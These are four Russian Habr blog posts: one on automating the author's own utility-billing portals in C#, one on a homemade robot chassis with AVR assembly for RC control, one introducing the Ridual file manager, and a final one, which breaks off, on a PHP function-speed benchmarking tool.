Кабинеты, о которых я говорил, выглядят следующим образом. Это кабинет МосОблЕИРЦ. Здесь я ввожу данные четырёх счётчиков воды (два на кухне и два в санузле), электросчётчика и оплачиваю коммунальные счета. Как видите, ребята ещё немножко и на рекламе зарабатывают.
Кабинет теплоэнергетической компании Глобус буйством красок напоминает сайты девяностых годов, тогда они почти все были такие.
Здесь я должен продублировать показания двух счётчиков горячей воды и заплатить за тепло.
Ну хорошо, так какой быть программе? Это может быть сайт. Можно задуматься о мобильном приложении. Но проще всего пойти по линии наименьшего сопротивления и создать проект Windows Forms .NET на C#.
Идея такая. Программа взаимодействует с сайтами посредством HTTP-запросов. Если в одном из кабинетов выставляется счёт, появляется строка типа "Выставлен счёт на 1234,00 руб". Если счёта в текущем месяце ещё нет, будет написано “Оплачено”. Линки на кабинеты МосОблЕирц и Глобус открывают браузер, после чего там можно будет совершить платёж. Счётчики воды можно оплачивать с 5 числа, электросчётчик – с 15. Если в текущем месяце показания ещё не были переданы, соответствующие текстбоксы включаются, и показания можно передавать. Справа от текстовых полей находятся прежние показания.
Программа запускается при запуске Windows. Если всё оплачено, и показания отправлены, программа тихо закрывает себя, иначе пользователь может выполнить необходимые действия. Поскольку я всегда выключаю настольный компьютер на ночь, а включаю почти каждый день, это идеальный вариант.
Ну что ж, приступим к исследованию сайта МосОблЕирц (на самом деле, mosenergosbyt.ru). Сначала нам нужно пройти аутентификацию. Открываем Fiddler, вводим в браузере учётные данные и жмём “Войти”.
Смотрим полученные запросы в фидлере. Туннели мы игнорируем, обращения к Яндексу – тоже, это, скорее всего, сбор статистики. Будем смотреть запросы на хост my.mosenergosbyt.ru.
Итак, первый запрос, который нас интересует – это запрос на аутентификацию. Ищем. Ага, вот:
**POST https://my.mosenergosbyt.ru/gate\_lkcomu?action=auth&query=login HTTP/1.1**
Это то, что нам надо. В Cookie видим слова Bitrix, значит это PHP. Взглянув на тело запроса, видим, что логин и пароль передаются в явном виде.
Ну что ж, попробуем для начала создать минимальный запрос с телом, содержащим логин и пароль. Смотрим в отладчике, что происходит.
Так, код ответа - 200 OK. Хорошо. Но что это? JSON ответа содержит текст
> *Уважаемый* *пользователь, с Вашего IP-адреса была зафиксирована вредоносная активность при обращении к Единому Личному кабинету АО Мосэнергосбыт и ООО МосОблЕИРЦ. В связи с этим доступ с Вашего IP-адреса был временно заблокирован. Для разблокировки доступа или если ваш адрес был заблокирован по ошибке, просим Вас обратиться в службу поддержки пользователей по телефону +7 (499) 550-9-550. Мы заботимся о безопасности Ваших данных и благодарим за понимание!*
>
>
Вот те и на! Надо было создавать тестовый кабинет... Ладно, попробуем пока сделать более полный запрос, в котором пропишем значения хедеров и добавим Cookie, как в оригинальном запросе. Вот [таким образом](https://github.com/andrey-val-rodin/MyFlat/blob/daf33d2dec79b39e45463a07aec892ed24239547/MyFlat/Services/MosOblEircService.cs#L149).
Посылаем… И получаем JSON с текстом "Ошибок нет":
```
{
"success": true,
"total": 1,
"data": [
{
"kd_result": 0,
"nm_result": "Ошибок нет",
"id_profile": "218e52f3-4014-4e45-8ac8-56cbafb006f6",
"cnt_auth": 0,
"new_token": null,
"session": "8IM3EOS5RHETWFMUFXHFEUNECMZMGJJ8S162DD04"
}
],
"metaData": {
"responseTime": 0.031
}
}
```
Ура! Зря пугали, выходит. Просто этот сайт не принимает запросы без cookies. Полученный JSON содержит хеш сессии, который будет использоваться в URL последующих запросов.
Дальше всё идёт по накатанной колее. Конструируем запрос, получаем JSON, десериализуем. Надо только учесть, что некоторые запросы требуют указания идентификаторов абонента и учётной записи. Чтобы получить их, придётся добавить [соответствующий метод](https://github.com/andrey-val-rodin/MyFlat/blob/daf33d2dec79b39e45463a07aec892ed24239547/MyFlat/Services/MosOblEircService.cs#L71).
Создаём [запрос для получения текущего баланса](https://github.com/andrey-val-rodin/MyFlat/blob/daf33d2dec79b39e45463a07aec892ed24239547/MyFlat/Services/MosOblEircService.cs#L179), [запрос для получения данных счётчиков](https://github.com/andrey-val-rodin/MyFlat/blob/daf33d2dec79b39e45463a07aec892ed24239547/MyFlat/Services/MosOblEircService.cs#L218). Никаких проблем, всё работает.
Теперь попробуем сделать обновление показаний счётчиков. В кабинете показания передаются по одному:
Значит, так и сделаем [соответствующий метод](https://github.com/andrey-val-rodin/MyFlat/blob/daf33d2dec79b39e45463a07aec892ed24239547/MyFlat/Services/MosOblEircService.cs#L248).
Работает. Замечательно! Ну, и в конце надо реализовать [возможность выхода из кабинета](https://github.com/andrey-val-rodin/MyFlat/blob/daf33d2dec79b39e45463a07aec892ed24239547/MyFlat/Services/MosOblEircService.cs#L103) для порядка.
Отлично, с первым кабинетом разобрались. Теперь приступим к кабинету компании Глобус. Вот аутентифицирующий запрос:
**POST https://lk.globusenergo.ru/ajax/auth.php HTTP/1.1**
В теле запроса также передаются учётные данные в незашифрованном виде. Смотрим cookies:
Снова битрикс. Памятуя прошлый опыт, надо будет не забыть указать cookie в нашем запросе. А что это за PHPSESSID, откуда он берётся? Так, ага... Чтобы получить это значение, нужно перед аутентификацией сделать GET-запрос на [lk.globusenergo.ru](https://lk.globusenergo.ru), и оно будет передано в хедере Set-Cookie. Ладно, так и сделаем.
Запускаем отладчик… и что там у нас в ответе? А в ответе – html личного кабинета. Значит, аутентификация прошла.
Об автоматическом перенаправленииИнтересно то, что запрос для аутентификации возвращает HTTP-код 302, и HttpHandler автоматически делает перенаправление и выполняет второй запрос GET по адресу из хедера Location, Таким образом, после вызова HttpClient.SendAsync мы видим два запроса в фидлере - POST и GET. Возвращаемое значение при этом содержит ответ второго запроса с html. Если бы мы захотели отказаться от автоматического перенаправления, нам следовало бы создавать объект HttpClient посредством конструктора, принимающего объект HttpClientHandler со свойством AllowAutoRedirect = false.
Из html мы можем сразу получить текущий баланс. Фрагмент личного кабинета в браузере
соответствует вот этому фрагменту html:
```
Задолженность по счету
{{arrayResult.DEBT.DEBT\_END}} руб.
0.00 руб.
```
Ищем в тексте html слово “DEBT\_END” и находим в JS-коде большую переменную arrayResultForJs, которая, помимо прочего, содержит следующее:
```
"DEBT":{"DEBT_END":"0.00","~DEBT_END":"0.00"}
```
Это нам и нужно для получения баланса. Как получить это значение из html? Можно воспользоваться библиотекой HtmlAgilityPack, как это описано на [stackoverflow](https://stackoverflow.com/questions/18156795/parsing-html-to-get-script-variable-value), но к чему такие сложности для решения простой задачи? Просто [воспользуемся регулярными выражениями](https://github.com/andrey-val-rodin/MyFlat/blob/main/MyFlat/Common/HtmlParser.cs#L9).
Последнее, что надо сделать – это возможность передачи новых показаний. В кабинете показания двух счётчиков передаются в одном запросе:
Пробуем написать соответствующий код, и… ничего не получается. В ответе содержится html главной страницы, а значения счётчиков не обновляются. Попытка, ещё одна... Нет, не работает. Хорошо, а если запустить запрос из закладки фидлера Composer? Вроде, проходит... Тогда сравним текст запроса из программы и реального запроса. Ага, вот: запросы отличаются значением sessid в теле запроса. А откуда взять это значение? Оказывается, первый html после авторизации содержит определение bitrix\_sessid в JS-коде. Нужно [получить это значение из html](https://github.com/andrey-val-rodin/MyFlat/blob/main/MyFlat/Common/HtmlParser.cs#L33) и [прописать](https://github.com/andrey-val-rodin/MyFlat/blob/main/MyFlat/Services/GlobusService.cs#L203) его в запросе. Пробуем, и... всё в порядке!
Ну вот и всё. Программа готова. Казалось бы, не бог весть какая автоматизация, но оказалось, что это довольно-таки удобно: всё необходимое сосредоточено в одном месте, не нужно дублировать показания счётчиков на разных сайтах. Кроме того, программа служит напоминалкой, и теперь я не забываю совершить необходимые действия.
Единственный недостаток – в кабинете Глобуса сумма к оплате продолжает висеть несколько дней даже после совершения платежа. Уж не знаю, то ли платёж должен поступить на счёт, то ли они вообще вручную подтверждают внесённую сумму, но приводит это к тому, что программа не закрывается при запуске и каждый день сообщает о том, что счёт выставлен. Возможно, придётся с этим что-то делать...
Конечно, очень бы хотелось иметь умные счётчики, чтобы передавать показания на серверы автоматически, а не лазить по углам с фонарикам, записывая цифры на бумажку. В следующий раз, когда настанет время менять счётчики, обязательно задумаюсь об этом.
→ Полный код проекта на [Github](https://github.com/andrey-val-rodin/MyFlat)
Спасибо за внимание! | https://habr.com/ru/post/573216/ | null | ru | null |
# Истории самодельного робота. Ч.1
Всегда был интересен процесс интеграции тех или иных роботов в социальную, городскую сферу.Возникает очень много вопросов, как технического, юридического так и этического характера.
Что будет например если ваша поделка весом под 60 кг сломает, например, кому то ногу.Или собьется GPS-трек и робот спровоцирует ДТП на оживленном пешеходном переходе-перекрестке? Или подарит цветы не той, "незапрограммированной" девушке, ошибется цветом кожи клиента или доставит до адресата пиво теплым а шаурму холодной? Задавшись в один прекрасный момент идеей создания робота своей мечты можно получить ответы на некоторые эти вопросы, заодно, в очередной раз, попробовать перевернуть мир.Собственно под катом описан процесс создания некого универсального робота.Конкретно шасси.
Первые роботы были скорее "пробой пера"
Был такой, 2-х колесный
И такая модификация:
Ну и такая:
После изучения с полсотни вариантов конструкций, как заводских так и самодельных решено было взять за основу простую и изящную конструкцию типа «Краб» от тайландских мастеров газонокошения. Были визуально определены конструкция, механика и кинематика.
Итак, для создания нам понадобится:
1. Кучка металлолома:
1. Колеса.Желательно выбрать с ярко выраженным протектором, параллельным оси колеса, чтобы реализовать грунто-зацеп и танковый разворот.В данном случае используются колеса от мотоблока.
2. Ведомые звезды.От мотоциклов, мокиков и прочей велосипедятины.
3. Электродвигатели с редуктором модели MY1016Z2 на 12 вольт.Как выяснилось позже запас магнитного насыщения сердечника и толщина изоляции обмоток такого двигателя позволяют запросто их перегружать напряжением в 24 вольта, повышая ток и мощность.
1. Мотоциклетная цепь. Была выбрана мотоциклетная цепь под номером 428, для пущей совместимости с большинством зубчатых колес.
2. Пульт дистанцинного управления.Использовать можно любой, был взят китайский для авиамоделизма, с радиусом действия до 400м.
1. Микроконтоллер Atmega 8a.
2. Парочка сборок Дарлингтона для управления электромагнитными реле.К примеру ULN2803AFWG.
3. Электромагнитные реле и постели для них, применяющиеся преимущественно на автомобилях.
![image](<https://habrastorage.org/webt/ud/i3/8p/udi38psgbjxvm9qomjdj9nfwyww.jpeg>" size=2560x189)
1. Свинцовая аккумуляторная батарея.
Спустя пару месяцев махания диском болгарки, росчерка электродами и конструкция из пота, крови и металла была готова.
Ступицы, оси, шайбы и прочие запчасти.Не обошлось без токарных работ по вытачиванию упоров, натяжных роликов для цепей.
Кусок металла и куча проводов:
Электронная начинка для теста всей конструкции предельная проста:
Atmega напрямую прикрученная к транзисторной сборке, которая напрямую управляет реле.Реле, надо отметить, коммутируют нагрузку через самодельные дросселя, чтобы немного сгладить якорные токи при пуске двигателей.
Переполюсовка питания двигателей также осуществляется по команде с Atmeg`и через отдельные реле.
Проведя процедуру привязки приемника к пульту, замкнув сервисной перемычкой контакты на приемнике, на сленге "Bind" — можно приступить к программированию управления пультом.
Посмотрим на выходные сигналы с приемника осциллографом:
Ага, в взависимости от положения стика меняется длительность импульса.Можно обработать это микроконтроллером, считывая уровни сигналов, считая такты-длительность.
Пару-десятков тестов для калибровки и код был написан.
Так выглядит исходник по приему сигналов с приемника и управлением роботом.
```
;by IC
;GK1
;PC5-муфта
;pc4-контакт 4- реверс правый борт (ВЫХОДНОЙ СИГНАЛ)
;pc3-контакт 3 -реверс левый борт (ВЫХОДНОЙ СИГНАЛ)
;pc2-контакт 2 -мотор-редуктор правый борт (ВЫХОДНОЙ СИГНАЛ)
;pc1-контакт 1 -мотор-редуктор левый борт (ВЫХОДНОЙ СИГНАЛ)
;pc0-ДВС (ВЫХОДНОЙ СИГНАЛ)G
;pb-ВХОДНОЙ СИГНАЛ ПДУ
;ПДУ - канал 4 - левый стик, лево-право
;ПДУ - канал 3 - левый стик, вверх-вниз
;ПДУ - канал 2 - правый стик, вверх-вниз (вниз-скважность уменьшается, вверх- скважность увеличивается)
;ПДУ - канал 1 - правый стик, лево- право (лево-скважность уменьшается, право- скважность увеличивается)
;d7-d8 -нейтраль
;0116h - высоко
;91 - низко
rjmp RESET ; Reset Handler
rjmp EXT_INT0 ; IRQ0 Handler
rjmp EXT_INT1 ; IRQ1 Handler
;rjmp TIM2_COMP ; Timer2 Compare Handler
;rjmp TIM2_OVF ; Timer2 Overflow Handler
;rjmp TIM1_CAPT ; Timer1 Capture Handler
;rjmp TIM1_COMPA ; Timer1 CompareA Handler
;rjmp TIM1_COMPB ; Timer1 CompareB Handler
;rjmp TIM1_OVF ; Timer1 Overflow Handler
;rjmp TIM0_OVF ; Timer0 Overflow Handler
;rjmp SPI_STC ; SPI Transfer Complete Handler
;rjmp USART_RXC ; USART RX Complete Handler
;rjmp USART_UDRE ; UDR Empty Handler
;rjmp USART_TXC ; USART TX Complete Handler
;rjmp ADC ; ADC Conversion Complete Handler
;rjmp EE_RDY ; EEPROM Ready Handler
;rjmp ANA_COMP ; Analog Comparator Handler
;rjmp TWSI ; Two-wire Serial Interface Handler
;rjmp SPM_RDY ; Store Program Memory Ready Handler
RESET:
cli
ldi r17, 0xff
out 0x3D, r17 ;инициализация стэка
ldi R16, 0b00111111 ;порт С как выход
out 0x14, r16 ;настройка через регистр DDRC\
ldi R16, 0x0 ;порт B как вход
out 0x17, r16 ;настройка через регистр DDRB
ldi R16, 0x0 ;порт D как вход
out 0x11, r16 ;настройка через регистр DDRD
sbi 0x12, 0 ;устанавливаем бит активации Pull-up в PORTD для пина PD0
sbi 0x12, 1 ;устанавливаем бит активации Pull-up в PORTD для пина PD1
sbi 0x12, 2 ;устанавливаем бит активации Pull-up в PORTD для пина PD2
jmp PDU_mode
U_turn_right_PDU:
nop
CALL R1__LEFT_ON
CALL latency_relay_switch
CALL M1__LEFT_ON
CALL M2__RIGHT_ON
nop
jmp chanel3
U_turn_left_PDU:
nop
CALL R2__RIGHT_ON
CALL latency_relay_switch
CALL M1__LEFT_ON
CALL M2__RIGHT_ON
nop
jmp chanel3
PDU_mode:
chanel1:
ldi r21, 0
ldi r22, 0
ldi r23, 1
ldi r24, 0
nop
get_low:
nop
sbic 0x10, 0
jmp get_low ;дождались нуля на PD0
get_rising:
nop
sbis 0x10, 0
jmp get_rising ;дождались HIGH сигнала на PD0
get_falling:
nop
add r21, r23 ;основной бит
adc r22, r24 ;дополнительный
sbic 0x10, 0
jmp get_falling ;Сигнал HIGH закончился
cpi r22, 1
breq U_turn_right_PDU
cpi r21, 0x9f ;a0
brlo U_turn_left_PDU
chanel2:
ldi r21, 0
ldi r22, 0
ldi r23, 1
ldi r24, 0
nop
get_low2:
nop
sbic 0x10, 1
jmp get_low2 ;дождались нуля на PD0
get_rising2:
nop
sbis 0x10, 1
jmp get_rising2 ;дождались HIGH сигнала на PD0
get_falling2:
nop
add r21, r23 ;основной бит
adc r22, r24 ;дополнительный
sbic 0x10, 1
jmp get_falling2 ;Сигнал HIGH закончился
cpi r22, 1
breq Motion_forward_PDU
cpi r21, 0x9f ;a0
brlo Motion_backward_PDU
nop
CALL M1__LEFT_OFF
CALL M2__RIGHT_OFF
CALL latency_relay_switch
CALL R1__LEFT_OFF
CALL R2__RIGHT_OFF
nop
chanel3:
ldi r21, 0
ldi r22, 0
ldi r23, 1
ldi r24, 0
get_low3:
sbic 0x10, 2
jmp get_low3 ;дождались нуля на PD0
get_rising3:
sbis 0x10, 2
jmp get_rising3 ;дождались HIGH сигнала на PD0
get_falling3:
add r21, r23 ;основной бит
adc r22, r24 ;дополнительный
sbic 0x10, 2
jmp get_falling3 ;Сигнал HIGH закончился
cpi r22, 1
breq Clutch_ON_PDU
CALL Clutch_OFF
nop
jmp PDU_mode
Clutch_ON_PDU:
CALL Clutch_ON
jmp PDU_mode
Motion_forward_PDU:
CALL R2__RIGHT_ON
CALL latency_relay_switch
CALL R1__LEFT_ON
CALL latency_relay_switch
CALL M1__LEFT_ON
CALL M2__RIGHT_ON
nop
jmp chanel3
Motion_backward_PDU:
CALL M1__LEFT_ON
CALL M2__RIGHT_ON
nop
jmp chanel3
LDI R16,2 ; Загружаем адрес нулевой ячейки
LDI R17,0 ; EEPROM
;LDI R21, 0x33 ; и хотим записать в нее число cc
RCALL EEWrite ; вызываем процедуру записи.
LDI R16,1 ; Загружаем адрес нулевой ячейки
LDI R17,0 ; EEPROM
mov r21, r22
RCALL EEWrite ; вызываем процедуру записи.
ldi r25, 1 ;флаг записи епромки
LDI R16,3 ; Загружаем адрес нулевой ячейки
LDI R17,0 ; EEPROM
mov r21, r25
RCALL EEWrite ; вызываем процедуру записи.
skip:
nop
jmp idle
EEWrite:
SBIC EECR,EEWE ; Ждем готовности памяти к записи. Крутимся в цикле
RJMP EEWrite ; до тех пор пока не очистится флаг EEWE
CLI ; Затем запрещаем прерывания.
OUT EEARL,R16 ; Загружаем адрес нужной ячейки
OUT EEARH,R17 ; старший и младший байт адреса
OUT EEDR,R21 ; и сами данные, которые нам нужно загрузить
SBI EECR,EEMWE ; взводим предохранитель
SBI EECR,EEWE ; записываем байт
SEI ; разрешаем прерывания
RET ; возврат из процедуры
EERead:
SBIC EECR,EEWE ; Ждем пока будет завершена прошлая запись.
RJMP EERead ; также крутимся в цикле.
OUT EEARL, R16 ; загружаем адрес нужной ячейки
OUT EEARH, R17 ; его старшие и младшие байты
SBI EECR,EERE ; Выставляем бит чтения
IN R25, EEDR ; Забираем из регистра данных результат
RET
Motion_forward:
CALL latency_relay_switch
CALL R2__RIGHT_ON
CALL latency_relay_switch
CALL R1__LEFT_ON
CALL latency_relay_switch
CALL M1__LEFT_ON
CALL M2__RIGHT_ON
CALL latency
CALL M1__LEFT_OFF
CALL M2__RIGHT_OFF
CALL latency_relay_switch
CALL R1__LEFT_OFF
CALL R2__RIGHT_OFF
Motion_backward:
CALL latency_relay_switch
CALL M1__LEFT_ON
CALL M2__RIGHT_ON
CALL latency
CALL M1__LEFT_OFF
CALL M2__RIGHT_OFF
U_turn_right:
CALL latency_relay_switch
CALL R1__LEFT_ON
CALL latency_relay_switch
CALL M1__LEFT_ON
CALL M2__RIGHT_ON
CALL latency
CALL M1__LEFT_OFF
CALL M2__RIGHT_OFF
CALL latency_relay_switch
CALL R1__LEFT_OFF
;ret
U_turn_left:
CALL latency_relay_switch
CALL R2__RIGHT_ON
CALL latency_relay_switch
CALL M1__LEFT_ON
CALL M2__RIGHT_ON
CALL latency
CALL M1__LEFT_OFF
CALL M2__RIGHT_OFF
CALL latency_relay_switch
CALL R2__RIGHT_OFF
;ret
jmp Motion_forward
TEST1:
CALL ICE_Start
CALL latency
CALL ICE_Stop
CALL latency
CALL M1__LEFT_ON
CALL latency
CALL M1__LEFT_OFF
CALL latency
CALL M2__RIGHT_ON
CALL latency
CALL M2__RIGHT_OFF
CALL latency
CALL R1__LEFT_ON
CALL latency
CALL R1__LEFT_OFF
CALL latency
CALL R2__RIGHT_ON
CALL latency
CALL R2__RIGHT_OFF
CALL latency
CALL Clutch_ON
CALL latency
CALL Clutch_OFF
jmp TEST1
idle:
;sbi 0x15, 5 ;PortC, бит 5
nop
jmp idle
EXT_INT0:
sbi 0x15, 5 ;PortC, бит 5
reti
EXT_INT1:
sbi 0x15, 4 ;PortC, бит 5
reti
;Задержка
latency_relay_switch: ;калиброванная задержка для переключения реле
ldi r20, 255
ldi r21, 100
;ldi r22, 1
delay2:
subi r20, 1
sbci r21, 0
;sbci r22, 0
brne delay2
nop
ret
;Задержка
latency:
ldi r20, 255
ldi r21, 255
ldi r22, 12
delay1:
subi r20, 1
sbci r21, 0
sbci r22, 0
brne delay1
nop
ret
ICE_Start:
sbi 0x15, 0 ;PortC, бит 0
RET
ICE_Stop:
cbi 0x15, 0 ;PortC, бит 0
ret
M1__LEFT_ON:
sbi 0x15, 1 ;PortC, бит 1
ret
M1__LEFT_OFF:
cbi 0x15, 1 ;PortC, бит 1
ret
M2__RIGHT_ON:
sbi 0x15, 2 ;PortC, бит 2
ret
M2__RIGHT_OFF:
cbi 0x15, 2 ;PortC, бит 2
ret
R1__LEFT_ON:
sbi 0x15, 3 ;PortC, бит 3
ret
R1__LEFT_OFF:
cbi 0x15, 3 ;PortC, бит 3
ret
R2__RIGHT_ON:
sbi 0x15, 4 ;PortC, бит 4
ret
R2__RIGHT_OFF:
cbi 0x15, 4 ;PortC, бит 4
ret
Clutch_ON:
sbi 0x15, 5 ;PortC, бит 5
ret
Clutch_OFF:
cbi 0x15, 5 ;PortC, бит 5
ret
```
После окончательной сборки и с полсотни выездов стало ясно что механика робота работает отлично.Данная телега легко справляется с большинством препятствий, значительными уклонами до 40 ‰, обладает запасом мощности, достаточной маневренностью.
Как видно на видео на некоторых участках местности крутящего момента двигателей явно не хватает.
Не беда — они легко выдерживают 2-х кратную перегрузку с повышением момента и оборотов.Достаточно установить в силовой цепи последовательно еще 1 аккумулятор, но при этом появляется другая большая проблема — залипание контактной части реле, вследствии возрастания тока.Что собственно и произошло — вдруг 60000 грамовая машина потеряв управление понеслась в недопустимую сторону.
Решение проблемы установкой контакторов с дугогашением не рассматривается в принципе — жизнь людей дороже, пусть лучше сгорит транзистор в контроллере электродвигателя.
Вернувшись на "базу" без потерь решено было серьезно доработать схемотехнику и алгоритмы управления роботом, в пользу человечества.Иначе как он сможет автономно развозить шаурму? не привлекая внимания работников правоохранительных органов и не попадать в криминальную сводку местных новостей.
Как можно заметить робот представленный в заголовке статьи и робот описанный в теле статьи несколько отличаются.Это значит лишь то, что не все истории рассказаны.
На робота будут установлены более-менее профессиональные контроллеры электродвигателей с векторным управлением крутящего момента, различными программными функциями типа hard-stop, выполнено дублирование сигналов, установлена датчиковая аппаратура и литиевые аккумуляторы, будет заменен, на более интересный, микропроцессор.
Запись теплового следа и поиск отклонений для фиксаций нарушений охранного периметра и локальных техногенных дефектов.
Подключение робота к купюроприемнику по старому протоколу mdb vending.
Обо всем этом и приключениях робота среди людей в следующих частях.
P.S. Новые законы робототехники не за горами.
P.S.S. Рабочее название проекта "Grass-killer". | https://habr.com/ru/post/583888/ | null | ru | null |
# Ridual — новый файловый менеджер для Ubuntu
Когда я только переходил на Linux, я пытался найти для себя удобный двухпанельный файловый менеджер. Оказалось, что для Linux полнофункциональных двухпанельников довольно мало, и все они по каким-то причинам меня не устроили. В итоге я расстался с этой идеей и стал пользоваться Nautilus и командной строкой.
Однако недавно Canonical [объявила конкурс](http://habrahabr.ru/post/145854/) по разработке приложений для Ubuntu, и я решил попробовать сделать лучший файловый менеджер для Ubuntu.
Сейчас в Ridual еще не реализованы многие функции (и самая важная из них — управление файлами). Поэтому пользоваться им в полной мере нельзя. Однако я надеюсь, что читатели подскажут мне несколько ценных идей и скажут, в правильном ли направлении я движусь. Впрочем, этого поста бы не появилось, если бы не тот факт, что началось [голосование](http://www.surveymonkey.com/s/P56YNQ9), которое определит результаты конкурса.
Ridual написан на C++ с использованием Qt. Он распространяется под самой доброй лицензией MIT, исходные коды доступны [на Github](https://github.com/Riateche/ridual). Пользователи Ubuntu 12.04 могут установить программу из репозитория:
```
sudo add-apt-repository ppa:strahovp/ridual
sudo apt-get update
sudo apt-get install ridual
```
А теперь я расскажу о возможностях и преимуществах Ridual, которые помогут ему стать лучшим из файловых менеджеров для Ubuntu.
### Описание функций программы
Ridual использует системную цветовую тему. Никаких сумасшедших цветов. Мне кажется, любое приложение должно органично вписываться в окружение. Сравните скриншот Ridual в начале статьи со [скриншотом Gnome Commander](http://habrastorage.org/storage2/d4d/f30/900/d4df30900ae49617b8486cfa1884f2a5.png). Также корректно отображаются иконки файлов из системной темы. Почему-то в имеющихся двухпанельниках с этим проблемы.
Ridual позволяет выполнять любые действия с клавиатуры. Например, с помощью хоткея можно перевести фокус в строку адреса, чтобы скопировать или отредактировать его. В будущем можно будет выбирать варианты действий при ошибках копирования. Более того, вы можете изменить любое сочетание клавиш на то, что вам удобнее.
Все операции, связанные с файловой системой, выполняются в отдельных потоках. Это значит, что интерфейс программы никогда не зависнет, даже когда вы работаете с тормозящей файловой системой, например, сетевым ресурсом или неисправным жестким диском. Операции копирования, удаления файлов и т.п. можно запускать параллельно друг другу, а можно сложить их в одну очередь, чтобы выполнять действия друг за другом. (Я говорю об этом в настоящем времени, потому что система очередей уже реализована, хотя самих операций копирования и удаления еще нет.)
Программа умеет отображать список закладок Gnome и стандартных пользовательских папок («Документы», «Музыка» и т.п.). Поддерживается работа с виртуальными файловыми системами GIO/GVFS. Сюда входят различные сетевые ресурсы, подмонтированные по FTP, SFTP, Samba, Bluetooth и т.п. Также поддерживается работа с внешними носителями: можно посмотреть список носителей, подмонтировать и просмотреть содержимое носителя. Здесь Ridual использует то же API и предоставляет те же функции, что и Nautilus. Поддерживаются адреса вида «[host.com/address](ftp://host.com/address)», причем вы можете не только выбрать подмонтировать систему из списка, но и подмонтировать любую другую, указав соответствующий адрес. Мне кажется, ни один другой двухпанельный ФМ такого не умеет. Единственное ограничение: пока в Ridual не реализован диалог запроса пароля для GIO, поэтому можно использовать только ресурсы, не требующие пароля (например, публичные FTP), ресурсы, пароль для которых сохранен в системе или ресурсы, которые уже примонтированы через Nautilus.
В верхней части окна Ridual находится виджет, отображающий текущий адрес с помощью ряда кнопок. Нажатием на одну из них можно перейти в вышестоящую папку, а нажатие правой кнопкой вызывает меню, с помощью которого можно перейти в папку, соседнюю с выбранной.
А при копировании в нижней части окна появляется таблица текущих операций. Таким образом, всё важное всегда находится перед глазами, а не убегает вместе с диалоговым окном на задний план. Все основные элементы будут располагаться в одном окне, упрощая управление с клавиатуры.
Ridual поддерживает ассоциации файлов с программами. Здесь он работает так же, как Nautilus. По нажатию Enter открывается программа по умолчанию, а в контекстном меню можно выбрать
другие программы, поддерживающие этот тип файлов. Эта функция корректно работает и с сетевыми ресурсами, в то время как у Nautilus с этим наблюдаются проблемы (например, при открытии файлов в Audacious).
Файловые менеджеры (и опять я подразумеваю Nautilus) грешат тем, что медленно копируют папки с большим числом файлов. Это связано с тем, что они пытаются посчитать общее количество и размер файлов, а это длительная операция. В Ridual есть возможность включить или отключить такой предварительный просмотр. При его отключении выполнение операции ускоряется, но становится невозможно узнать, сколько осталось до конца операции. По умолчанию стоит автоматический режим, в котором предварительный просмотр производится, но отключается автоматически, если найдено более 1000 файлов.
### Планы
Я планирую реализовать основные операции с файлами: копирование, перемещение, удаление, создание мягких и жестких ссылок. Будет и стандартная функциональность обработки ошибок копирования (кнопки «пропустить», «пропустить все», «повтор» и т.д.).
Еще я планирую реализовать функцию, идею для которой я подсмотрел в файловом менеджере Windows 7. При возникновении ошибки копирования сообщение с вариантами действий показывается пользователю, а программа в фоне продолжает выполнять операцию для тех файлов, для которых это возможно. У этой функции много плюсов, но спроектировать ее оказалось неожиданно сложно, так как возникает множество вопросов по алгоритму программы. Впрочем, я работаю над этим.
Также планируется поддержка просмотра и редактирования архивов без распаковки, поиск файлов, ограничение максимальной скорости копирования, возможности отменить предыдущие операции, хранение истории навигации и удобный переход к папкам, посещенным ранее.
### Заключение
Надеюсь, из моего проекта получится что-то стоящее, а люди будут им пользоваться. Если кто-то захочет помочь в разработке программы, я буду очень рад. Кстати, нужна помощь в написании автоматических тестов для программы, у меня в этом деле совсем нет опыта.
Если вам понравилось мое начинание, оцените Ridual на [этой странице](http://www.surveymonkey.com/s/P56YNQ9). Проголосовать может любой, регистрация не нужна.
Спасибо за внимание. | https://habr.com/ru/post/149647/ | null | ru | null |
# Инструмент анализа скорости PHP-функций
В последнее время обращал внимание на материалы о производительности и замерах скорости функций PHP. После анализа ряда материалов был сделан следующий вывод. Сравнений довольно много, но все замеры проводятся с разными входными условиями, вывод результатов тестирования у каждого решения свой, не говоря уже о том, если появится желание проверить тесты в своей среде, то придется копипастить куски кода.
Поэтому возникла идея написать собственный механизм простого тестирования скорости различных операций. Задумка показалась интересной, поэтому начало было положено!
### Цели
Начать следовало с постановки целей будущего инструмента. Проект хотелось видеть как универсальный инструмент для тестирования скорости чего угодно. Но поразмыслив над деталями и ошибками прошлого, решено было начать с малого.
Итак, требовалось получить инструмент, который:
* сравнивает скорость выполнения различных функций
* имеет возможность использования заранее подготовленных тестов
* выводит в читаемом виде результат
* имеет возможность создания собственных тестов и вариантов представления результатов
* может быть легко использован на других платформах
### Механизм замеров
Для замера времени выполнения функции было решено воспользоваться подобным, методом
```
protected function getTime($time = false)
{
return $time === false? microtime(true) : microtime(true) - $time;
}
```
Принцип действия прост, если происходит вызов без параметров, то возвращаем текущее состоянии времени, если же вызов происходит с параметром времени, тогда возвращается разница между текущим и переданным временем.
Но там где расчет времени, там же и потребляемый объем памяти, поэтому в последствии был добавлен аналогичный метод измерения потребляемой памяти.
```
protected function getMemory($memory = false)
{
return $memory === false? memory_get_usage() : memory_get_usage() - $memory;
}
```
Механизм аналогичен механике замера времени, только в данном случае происходит передача значения выделенной памяти скрипту.
Как известно, некоторые функции ведут себя по разному в зависимости от входного набора данных, поэтому в каждом тесте определен массив входных данных для функций тестирования. Для получения наиболее точных результатов, тестирование функций проводится на каждом наборе несколько раз. Помимо прочего, тестирование проводится в разной последовательности.
В ходе экспериментов, было замечено, что объем свободной памяти перед началом каждого теста разный, хоть для большинства проводимый испытаний это было незначительным, но для порядка хотелось бы иметь условия одинаковые для всех испытаний либо близкие к таковым. Поэтому хранение результатов было решено реализовать в локальном хранилище SQLite, а перед началом испытаний делать один проверочный тест для заполнения переменных данными.
Для того, чтобы иметь возможность создания собственных вариантов представления результатов и собственных вариантов теста, создано 2 модели абстракции. Модель тестов (Test), содержит всю информацию о тесте, включая функции тестирования. Модель представления данных (DataViwer) содержит методы преобразования результатов тестирования в читаемый вид. Для удобного вывода представлений был задействован шаблонизатор Twig и подключена библиотека стилей bootstrap, также создан вьювер с графиком HighCharts.
